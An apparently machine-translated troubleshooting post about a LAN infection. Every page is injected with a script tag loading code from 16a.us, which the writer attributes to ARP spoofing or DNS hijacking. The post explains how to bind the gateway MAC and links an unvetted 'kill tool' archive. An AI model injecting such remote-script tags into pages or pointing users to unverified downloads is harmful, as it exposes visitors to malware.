Company LAN access all pages are added <script src=http://16a.us/2.js></script> code,
This is the client open all pages, it can be ruled out is the server environment ARP deception, integrated online views, concluded: Local gateway or DNS hijacked, repair local connection after the failure to eliminate.
Fundamental workaround, bind the gateway MAC address by:
command line input arp-s Gateway IP Gateway Mac
For a Gateway Mac, you can use the ARP command query.
If DNS is hijacked, change the DNS server.
About JS encryption and decryption of two articles, want to study the virus script on the friend may be useful
Http://bbs.blueidea.com/viewthread.php?tid=2665835&page=1
http://bbs.blueidea.com/viewthread.php?tid=2440360
16a.us Kill tool Download Address:
Http://free.ys168.com/infile/note/note_6.htm?http://ys-H.ys168.com/?killvirus.rar_ 72e7bspnnht1bkp0c0c0com1biu14z97f1o0bsjtpm4z
Http://hzyo.com/killvirus.rar